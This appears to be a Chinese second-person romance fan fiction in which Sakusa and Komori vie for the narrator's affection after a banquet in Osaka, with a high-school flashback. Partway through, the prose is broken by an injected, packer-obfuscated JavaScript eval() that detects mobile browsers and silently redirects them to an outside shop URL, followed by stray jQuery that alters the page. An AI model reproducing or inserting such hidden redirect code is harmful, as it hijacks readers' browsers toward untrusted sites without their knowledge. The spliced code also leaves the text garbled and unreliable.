大阪是关西最大的城市，你家的珠宝生意在这里有分社，你被“发配”过来镀金，美其名曰“积累经验”，实际上是家里觉得你太懒散，需要离开东京的保护圈。
公司宴会定在周五晚上，虽然你只是个混水的，但作为本社的小姐，还是躲不过这些场合的。
礼服是姐姐寄来的，墨绿色的露背裙，丝绒质，剪裁利落，腰部收紧，裙摆微微拖地——后面几乎是空的，从肩胛骨一直开到腰窝。
你站在镜子前看了看，觉得还行——不夸张，不暴露，只是刚好把你最瘦的那块脊背露出来。
化妆师说你穿这件好看，你拍了张照片发到三人小群，古森的消息秒到：
“好看！”
“……”
“下次我陪你选衣服。”
你还没来得及回复，他又发了一条：“外面冷，带件外套。”你回了个“知道啦”，然后把手机扔进手包。
宴会设在一家高档酒店的宴会厅，觥筹交错，水晶灯亮得晃眼，你端着酒杯应付着客户和合作方，脸上挂着得体的微笑，心里只想回家瘫着。
酒过三巡，你开始觉得累了，高跟鞋磨着脚后跟，丝绒裙贴在身上有点闷，你走到露台透气，夜风灌进领口，凉飕飕的，你打了个哆嗦。
手机震了一下。佐久早的消息：“在几楼？”
你愣了一下：“7楼，怎么了？”
“出来，有东西落在我车上了。”
你握着手机站在露台门口，心跳莫名快了几拍。
跟身边的人打了声招呼，你提着裙摆走出宴会厅，走廊里铺着厚地毯，高跟鞋踩上去没有声音。
尽头电梯门正对着你，门开了。
佐久早站在里面，提着袋子，黑色的外套，深色裤子，和平时没什么不同，但他的表情不太一样，眉头微皱，嘴唇抿成一条线。
“你怎么来了？”你走过去。
他从电梯里出来，没有回答，目光从你的脸滑到你的肩，然后迅速移开。
“什么东西落下了？”你问。
“这个。”他从袋子里拿出一条披肩，灰色羊绒的，摸起来柔软得像云。
你看着那条披肩，再看看自己裸露的肩背，忽然明白了什么。
“我不冷——”
“晚上冷。”
“可是这条裙子露背才好看——”
他把披肩拢上你的肩，动作不算温柔，甚至有点急，羊绒面料暖暖的，带着他身上的体温。
“别撒娇。”他说。
你张了张嘴想反驳说我才没有撒娇，但对上他的眼神，话就咽回去了。
那个眼神让你想起高二体育课他把外套搭在你肩上的时候，还有更早，国中那场高烧，他坐在床边给你换冰毛巾的时候。
你垂下眼，把披肩拢紧了一点。
“……谢谢。”
他没说话，声音忽然放轻了：“几点结束？”
“不知道，可能还早。”
“结束了联系我。”
“你还要等？”
他没有回答这个问题，转身按了电梯，门开之前他回头看了你一眼：“别喝酒。”
“已经喝了。”
他皱起眉，“……那别喝太多。”
宴会结束时你已经微醺了。
红酒的后劲比想象中大，脚步有些发软，思维像搅浑的水，走出酒店大堂的时候，夜风把你的头发吹得乱七八糟。
门口停着一辆黑色的车，很眼熟。
车窗降下来，佐久早的脸出现在你模糊的视线里。
“上车。”
你拉开车门坐进去，皮革座椅很凉，你缩了一下，他就把外套脱下来盖在你腿上。
“不是让你别喝多？”
“没喝多。”软绵绵的声音，听起来完全没有说服力。
佐久早没有继续数落你。
一路上车里很安静，你把脸靠在车窗上，玻璃凉凉的，贴着很舒服。
你迷迷糊糊地想着那条披肩，他等了多久，为什么要说“别撒娇”。
你没有撒娇。
只是……习惯了对古森那样。
对佐久早，你总是客客气气的。
可是什么时候开始，“客气”变成了“依赖”？什么时候开始，你不再害怕他的沉默，反而觉得那沉默里有一种让人安心的东西？
什么时候开始，你期待遇见他，期待门铃在早晨响起，他面无表情地把早餐递过来，然后说一句“吃”。
你不知道。
车停了，佐久早熄了火，转头看你。
“到了？”你含糊地问。
“嗯。”
你解开安全带推开车门，脚一落地就晃了一下，他立刻从驾驶座下来绕到你身边，扶住你的手臂。
“能走吗？”
“能。”
你走了两步，又晃了一下，他的手从你手臂滑到腰侧，稳稳地托住了你。
“不能。”他说。
你就让他扶着，一路走进电梯，一路走到家门口，他按密码，门开了，玄关很暗，你被他半搀半抱地弄进去。
高跟鞋的绑带系得很紧，你在那里和鞋带斗争了半天也没解开，最后放弃了，整个人靠在他肩上叹了口气。
“圣臣君。”
“……嗯。”
“你身上好暖。”
你只是陈述事实，但感觉到他的身体僵住了，你没在意，反正也不是第一次，继续说：“圣臣君的手也是，看着很凉，其实很暖。”
他沉默了一会儿，然后蹲了下去，开始帮你解绑带。
“另一个。”
你把另一只脚伸过去，脱完鞋他站起来，你看不清他的表情，但感觉到他的呼吸有些重。
“去床上。”他说。
你“嗯”了一声，但他没有动，你也没有动，你靠在他肩上，额头抵着他的颈窝，闻到他身上淡淡的气息，干净冷冽。
你的鼻尖蹭了蹭他的颈侧。
他的呼吸停了一拍，你感觉到他的手在你腰侧收紧，隔着丝绒面料传来滚烫的温度。
“……你在干什么？”他的声音很低，压着什么东西。
“没干什么。”你的声音闷闷的，“圣臣君，我困了，不想动。”
他把你整个人打横抱起，你下意识搂住他的脖子，脸埋在他肩窝里，他的心跳很快，隔着胸腔和衣料，一下一下地撞着你的耳膜。
他把你放在床上，拉过被子盖好，去倒了一杯温水放在床头，然后拧了热毛巾给你擦脸，从额头到脸颊到下巴，每一寸都仔细地擦过。
热毛巾敷在皮肤上很舒服，你闭上了眼睛。
他给你掖好被角，站起来要走。
你的手抓住了他的手指，像很多年前国中那场高烧，你也是这样抓住了他的手。
“圣臣的手，”你嘟囔着，“好凉。”
他的手不凉，是你太烫了，酒精在血管里燃烧，把你的体温烧高了几度。
佐久早在你床边坐了下来，没有松开你的手。
你的呼吸渐渐变得均匀绵长，酒精让你沉入了梦乡，他看着你，床头灯昏黄，把你睡颜映得很柔和，嘴唇微微张着，睫毛偶尔轻颤一下。
他把你的手贴在自己脸颊上，柔软温热的掌心。
他的指尖在你头发间轻轻地、慢慢地梳理，绕着你细软的发丝打转，这道发丝今天被宴会上的风吹过，被他拢在披肩下，现在终于安静地躺在他的手指间。
他低下头，在你眉心落下一个极轻的吻。
轻得像羽毛，像叹息，像他藏了太久终于没藏住的那句话。
“……要是你只对我这样就好了。”
他的声音很低很低，低到分不清是梦还是现实，你的手指在他掌心里动了动，他没有松手。
他是什么时候离开的，你不知道，但第二天早上醒来时，床头柜上放着一杯凉了的温水，和一盒没拆封的苹果糖。
客厅茶几上还有一张纸条。
“早餐在冰箱，微波炉热一分钟。”
纸张边角被折得很整齐，字迹工整，你拿着纸条看了一会儿，然后把它折好，放进了抽屉里。
那儿已经有几张了，都是他留的。
***
古森这周末来大阪，比平时更黏人。
从见面起他的手就没离开过你——牵着你过马路，揽着你进餐厅，在你和佐久早说话的时候把手臂搭在你肩上，笑着打断你们。
“古森君今天好粘人。”你说。
你正在吃他买的草莓大福，嘴角沾了奶油，他伸手帮你擦掉，手指在你唇边停留的时间比平时长。
“不可以吗？”
“可以是可以……”你又咬了一口大福含混道，“但你要说为什么。”
古森笑着没回答，只是凑过来把你的刘海拨到耳后，动作很慢，慢到你能看清他睫毛的弧度，和眼底那一层薄薄的光。
“因为你太好看了。”他说。
你被草莓大福噎了一下，他没给你追问的机会，转身去厨房拿纸巾了。
你端着水杯喝水的时候，余光瞥见沙发另一端的佐久早，他正在看手机，表情看不出什么，但手指在屏幕上很久没有滑动。
你在心里叹了口气，这两个人，一个比一个难懂。
晚上古森送你回家的时候，在楼下忽然停下脚步。
“今天开心吗？”他问。
“开心呀，吃了好吃的，还收到礼物。”
“圣臣送你的？”
“嗯，一对耳环。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799354|210507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
古森看着你，“你喜欢他送的礼物吗？”
“当然喜欢啊。”
古森点点头，沉默了几秒，晚风吹过来，他的刘海被吹乱了，他没有伸手去拨，只是看着你。
“那……你更喜欢谁？”
你愣住了，倒不是这个问题太突然，而是因为古森从来没有这样问过你。
从小到大他都是不问的，他知道你更依赖他，知道你有什么事第一个找的都是他，知道你的心里他的位置是任何人都无法替代的。
他从来不需要问。
但今天他问了，你张了张嘴发现给不出答案，“更喜欢”三个字忽然变得很重——重到你不能像以前那样轻易地说出口。
古森看了你很久。
“不用回答。”
他最终说，笑着揉了揉你的头发，像以前很多次那样，“我知道的。”
你知道什么？你没有问出口。
他只是把你送到电梯口帮你按了楼层，电梯门快关的时候，他忽然说。
“下次，我送你一条项链。”
你站在电梯里，手心里还残留着他手指的温度。
那是另一个人的体温，不凉，也不烫，正好是让你安心的温度。
***
几天后，佐久早来接你下班，你上车后他没有立刻发动，而是坐在驾驶座上安静了几秒。
“我和元也，”他开口，声音很低，“你更喜欢谁？”
你转头看他，他目视前方，手放在方向盘上，指节泛白。
“圣臣君……”你刚想说什么。
“不用说答案。”他打断你，终于转过头来看着你。
“不用说。”
他重复了一遍，“但我要你知道——我不会输。”
他发动的车子，引擎的轰鸣盖过了你的心跳，你握着安全带侧头看他，他的侧脸在路灯的光影里明明灭灭，下颌线绷得很紧。
你忽然想起很多年前，高中毕业前夕，你无意中听到的一段对话。
那天你在走廊拐角，正准备转弯，听见了古森和佐久早的声音，你停住脚步，不知道为什么没有走出去。
“她怕你，你别吓她。”古森的声音，带着难得的严肃。
“……我知道。”佐久早的声音很低，低到像是说给自己听的。
然后是一句更轻的，轻到你要屏住呼吸才能听清。
“我只是……控制不住。”
你站在拐角后面没有走出去。
胸口的心跳快得不像话，你不知道他们说的“怕”是什么意思。
你怕佐久早吗？好像是的，但那种“怕”不是害怕，更像是某种面对过于耀眼的东西时，本能的退缩和紧张，小心翼翼。
那时候你不懂，现在你懂了。
那叫心动。
十七岁的天台上，风很大。
你躲在教学楼顶层最角落的位置，把脸埋进膝盖里。
哭的原因很简单也很复杂——高三的压力太大了，模拟考的成绩不理想。
虽然成绩对你来说好像并不重要，但古森和佐久早好像都早早规划好了以后，美好的未来，清晰的方向，不知道出于什么心理，你偶尔也会暗暗较劲。
古森今天发烧请假了，平时他都会在，递纸巾，说“没事的”，会揉你的头发陪你。
但他今天不在，所以你觉得格外委屈，哭得格外凶。
身后的门被推开了。
你没有抬头，以为是某个来找地方抽烟的不良。
但脚步声在你面前停下了，安静的，克制的，你以后会熟悉的脚步声。
“为什么哭？”
佐久早的声音从头顶落下来。
你抬起头，逆光里他额前的碎发被风吹起来，表情很淡，但眉头微微皱着——那是你不常在他脸上看到的神情。
你不说话，只是红着眼看他。
他叹了口气，极轻，像是对什么无可奈何，然后他蹲下来，与你平视的高度。
他抬起手犹豫了一下，然后用指腹擦掉你脸上的眼泪。
动作很轻很轻，但他的指尖在微微发抖，你能感觉到。
“别哭了。”他说，“不好看。”
那只手没有离开你的脸，指腹从你颧骨滑到眼角，又从眼角滑到下巴，像在丈量你脸的轮廓。
你看着他，他也在看你，风从他们之间穿过，吹起你的发丝拂过他的手背。
他的喉结滚动了一下。
“……走吧。”
他最终收回手站起来，“送你回去。”
你站起来，膝盖有点发麻，你跟在佐久早身后走下天台楼梯，夕阳从窗户照进来，光影斑驳。
他看着前方没有回头，走得很慢。
比平时慢很多。